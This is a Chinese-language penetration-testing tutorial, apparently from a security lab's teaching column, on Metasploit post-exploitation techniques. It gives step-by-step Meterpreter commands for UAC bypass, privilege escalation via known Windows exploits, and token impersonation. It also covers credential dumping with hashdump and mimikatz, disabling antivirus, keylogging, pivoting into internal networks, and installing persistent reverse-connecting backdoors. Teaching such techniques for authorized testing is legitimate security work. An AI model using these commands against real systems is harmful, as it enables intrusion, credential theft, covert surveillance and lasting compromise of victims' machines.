Image may be NSFW.
Clik here to view.

在对目标进行渗透测试的时候,通常情况下,我们首先获得的是一台web服务器的webshell或者反弹shell,如果权限比较低,则需要进行权限提升;后续需要对系统进行全面的分析,搞清楚系统的用途;如果目标处于一个内网环境中,那么我们就需要通过它对内网的其它终端进行信息收集和渗透测试,更全面地挖掘系统中存在的安全隐患。
本期安仔课堂,ISEC实验室的向老师为大家介绍如何使用MSF进行后渗透测试。
一、获取Meterpreter会话Meterpreter 是msf的一个payload,目标执行之后,我们会得到一个会话,和常见的shell会话类似,但是它的功能更加强大,它是执行后渗透测试的实施通道。
1.直接获取(1) 使用msfvenom生成payload
常用命令:
Image may be NSFW.
Clik here to view.

图1
(2)本地监听
监听需要用到msf的exploit/multi/handler模块,使用show options查看需要设置的参数。重要的参数有三个:监听使用的payload、本地ip、本地监听端口。这些参数的值跟之前msfvenom使用的参数一样。
Image may be NSFW.
Clik here to view.

图2
(3)获得会话
将生成的exe文件或者其它类型的payload文件在目标上执行,就可以获得一个meterpreter会话,之后就可以使用msf开展后渗透测试的相关工作。
Image may be NSFW.
Clik here to view.

图3
2.cmdshell升级为meterpreter如果最开始获取的是cmdshell,后来发现这台机器非常适合作为测试其它终端的跳板,这个时候cmdshell的功能已经不能满足需要,升级成meterpreter就十分有必要。
(1)以ms17-010的利用为例,默认使用的payload返回的就是cmdshell
Image may be NSFW.
Clik here to view.

图4
(2)将该cmdshell升级成meterpreter
命令:sessions-ucmdshell的id
Image may be NSFW.
Clik here to view.

图5
Image may be NSFW.
Clik here to view.

图6
(3)查看是否升级成功
Image may be NSFW.
Clik here to view.

图7
二、提权通常webshell的权限都比较低,能够执行的操作有限,没法查看重要文件、修改系统信息、抓取管理员密码和hash、安装特殊程序等,所以我们需要获取系统更高的权限。
1.绕过UAC用户帐户控制(UAC)是微软在 windows Vista 以后版本引入的一种安全机制,有助于防止对系统进行未经授权的更改。应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员专门给系统授予管理员级别的访问权限。UAC 可以阻止未经授权的应用程序进行自动安装,并防止无意中更改系统设置。
msf提供了如下几个模块帮助绕过UAC:
Image may be NSFW.
Clik here to view.

图8
以exploit/windows/local/bypassuac_eventvwr为例,其它模块的使用方法基本一致。
(1)首先需要在meterpreter下执行background命令让当前会话保存到后台。
Image may be NSFW.
Clik here to view.

图9
(2)使用sessions命令可以查看所有后台的会话,每个session对应一个id值,后面会经常用到。
Image may be NSFW.
Clik here to view.

图10
(3)使用use exploit/windows/local/bypassuac_eventvwr命令进入该模块,使用show options查看需要设置的参数。
Image may be NSFW.
Clik here to view.

图11
(4)将参数session设置为1,直接运行exploit或者run命令,执行成功之后会返回一个新的meterpreter会话。
Image may be NSFW.
Clik here to view.

图12
(5)使用getuid命令查看当前用户,此时仍然是普通用户,再使用getsystem命令就可以提升到system权限了。
Image may be NSFW.
Clik here to view.

图13
2.利用系统漏洞提权无论是linux还是windows都出过很多高危的漏洞,我们可以利用它们进行权限提升,比如windows系统的ms13-081、ms15-051、ms16-032、ms17-010等,msf也集成了这些漏洞的利用模块。
(1)使用search 补丁号进行搜索,就可以找到相关模块,以ms13-081为例。
Image may be NSFW.
Clik here to view.

图14
(2)使用use exploit/windows/local/ms13_081_track_popup_menu命令进入该模块,使用show options命令查看需要设置的参数。
Image may be NSFW.
Clik here to view.

图15
(3)使用set session 1命令设置后台的meterpreter会话id,再使用run命令运行,获取的就是SYSTEM权限。
Image may be NSFW.
Clik here to view.

图16
三、进程迁移当meterpreter单独作为一个进程运行时容易被发现,如果将它和系统经常运行的进程进行绑定,就能够实现持久化。
1.查看当前会话的进程id命令:getpid
Image may be NSFW.
Clik here to view.

图17
2.查看目标运行的进程命令:ps
Image may be NSFW.
Clik here to view.

图18
3.绑定进程命令:migratepid
Image may be NSFW.
Clik here to view.

图19
四、令牌假冒在用户登录windows操作系统时,系统都会给用户分配一个令牌(Token),当用户访问系统资源时都会使用这个令牌进行身份验证,功能类似于网站的session或者cookie。
msf提供了一个功能模块可以让我们假冒别人的令牌,实现身份切换,如果目标环境是域环境,刚好域管理员登录过我们已经有权限的终端,那么就可以假冒成域管理员的角色。
1.查看当前用户Image may be NSFW.
Clik here to view.

图20
2.使用use incognito命令进入该模块Image may be NSFW.
Clik here to view.

图21
3.查看存在的令牌命令:list_tokens-u
Image may be NSFW.
Clik here to view.

图22
4.令牌假冒命令:impersonate_token用户名
注意用户名的斜杠需要写两个。
Image may be NSFW.
Clik here to view.

图23
5.查看是否成功切换身份Image may be NSFW.
Clik here to view.

图24
五、获取凭证在内网环境中,一个管理员可能管理多台服务器,他使用的密码有可能相同或者有规律,如果能够得到密码或者hash,再尝试登录内网其它服务器,可能取得意想不到的效果。
1.使用meterpreter的run hashdump命令。Image may be NSFW.
Clik here to view.

图25
Image may be NSFW.
Clik here to view.

图26
2.使用load mimikatz加载mimikatz模块,再使用help mimikatz查看支持的命令。Image may be NSFW.
Clik here to view.

图27
3.使用wdigest命令获取登录过的用户储存在内存里的明文密码。Image may be NSFW.
Clik here to view.

图28
六、操作文件系统 1.文件的基本操作ls:列出当前路径下的所有文件和文件夹。
pwd 或 getwd:查看当前路径。
search:搜索文件,使用search -h查看帮助。
cat:查看文件内容,比如cat test.txt。
edit:编辑或者创建文件。和Linux系统的vm命令类似,同样适用于目标系统是windows的情况。
rm:删除文件。
cd:切换路径。
mkdir:创建文件夹。
rmdir:删除文件夹。
getlwd 或 lpwd:查看自己系统的当前路径。
lcd:切换自己当前系统的目录。
lls:显示自己当前系统的所有文件和文件夹。
2.文件的上传和下载(1) upload
格式:upload本地文件路径目标文件路径
Image may be NSFW.
Clik here to view.

图29
(2)download
格式:download 目标文件路径 本地文件路径
Image may be NSFW.
Clik here to view.

图30
七、系统其它操作 1.关闭防病毒软件run killav
run post/windows/manage/killav
2.操作远程桌面run post/windows/manage/enable_rdp开启远程桌面
run post/windows/manage/enable_rdp username=test password=test添加远程桌面的用户(同时也会将该用户添加到管理员组)
screenshot
4.键盘记录keyscan_start:开启键盘记录功能
keyscan_dump:显示捕捉到的键盘记录信息
keyscan_stop:停止键盘记录功能
Image may be NSFW.
Clik here to view.

图31
5.执行程序execute -h 查看使用方法
-H:创建一个隐藏进程
-a:传递给命令的参数
-i:跟进程进行交互
-m:从内存中执行
-t:使用当前伪造的线程令牌运行进程
-s:在给定会话中执行进程
例:execute -f c:/temp/hello.exe
八、端口转发和内网代理 1.portfwdportfwd是meterpreter提供的端口转发功能,在meterpreter下使用portfwd -h命令查看该命令的参数。
Image may be NSFW.
Clik here to view.

图32
常用参数:
-l:本地监听端口
-r:内网目标的ip
-p:内网目标的端口
Image may be NSFW.
Clik here to view.

图33
上面命令执行之后,会将10.1.1.3的3389端口转发到本地的2222端口。
Image may be NSFW.
Clik here to view.

图34
2.pivotpivot是msf最常用的代理,可以让我们使用msf提供的扫描模块对内网进行探测。
(1)首先需要在msf的操作界面下添加一个路由表。
添加命令:route add 内网ip 子网掩码 session的id
打印命令:route print
Image may be NSFW.
Clik here to view.

图35
路由添加成功之后就可以在msf里访问10.1.1.0/24这个网段。
(2)建立socks代理。
如果其它程序需要访问这个内网环境,就可以建立socks代理。
msf提供了3个模块用来做socks代理。
auxiliary/server/socks4a
use auxiliary/server/socks5
use auxiliary/server/socks_unc
以auxiliary/server/socks4a为例,查看需要设置的参数。
Image may be NSFW.
Clik here to view.

图36
一共两个参数:
SRVHOST:监听的ip地址,默认为0.0.0.0,一般不需要更改。
SRVPORT:监听的端口,默认为1080。
直接运行run命令,就可以成功创建一个socks4代理隧道,在linux上可以配置proxychains使用,在windows可以配置Proxifier进行使用。
九、后门Meterpreter的shell运行在内存中,目标重启就会失效,如果管理员给系统打上补丁,那么就没办法再次使用exploit获取权限,所以需要持久的后门对目标进行控制。
Msf提供了两种后门,一种是metsvc(通过服务启动),一种是persistence(支持多种方式启动)。
1.metsvc(1) 使用run metsvc -h查看帮助,一共有三个参数。
-A:安装后门后,自动启动exploit/multi/handler模块连接后门
-h:查看帮助
-r:删除后门
(2) 安装后门
命令:run metsvc
Image may be NSFW.
Clik here to view.

图37
命令运行成功后会在C:WindowsTEMP目录下新建随机名称的文件夹,里面生成3个文件(metsvc.dll、metsvc-server.exe、metsvc.exe)。
Image may be NSFW.
Clik here to view.

图38
同时会新建一个服务,显示名称为Meterpreter,服务名称为metsvc,启动类型为”自动”,绑定在31337端口。
Image may be NSFW.
Clik here to view.

图39
(3) 连接后门
使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337。
Image may be NSFW.
Clik here to view.

图40
2.persistence(1) 使用run persistence -h查看参数。
-A:安装后门后,自动启动exploit/multi/handler模块连接后门
-L:自启动脚本的路径,默认为%TEMP%
-P:需要使用的payload,默认为windows/meterpreter/reverse_tcp
-S:作为一个服务在系统启动时运行(需要SYSTEM权限)
-T:要使用的备用可执行模板
-U:用户登陆时运行
-X:系统启动时运行
-i:后门每隔多少秒尝试连接服务端
-p:服务端监听的端口
-r:服务端ip
(2) 生成后门
命令:run persistence -X -i 10 -r 192.168.1.9 -p 4444
Image may be NSFW.
Clik here to view.

图41
(3) 连接后门
使用exploit/multi/handler模块,payload设置为windows/meterpreter/reverse_tcp,同时设置好服务端监听ip和端口。
Image may be NSFW.
Clik here to view.

图42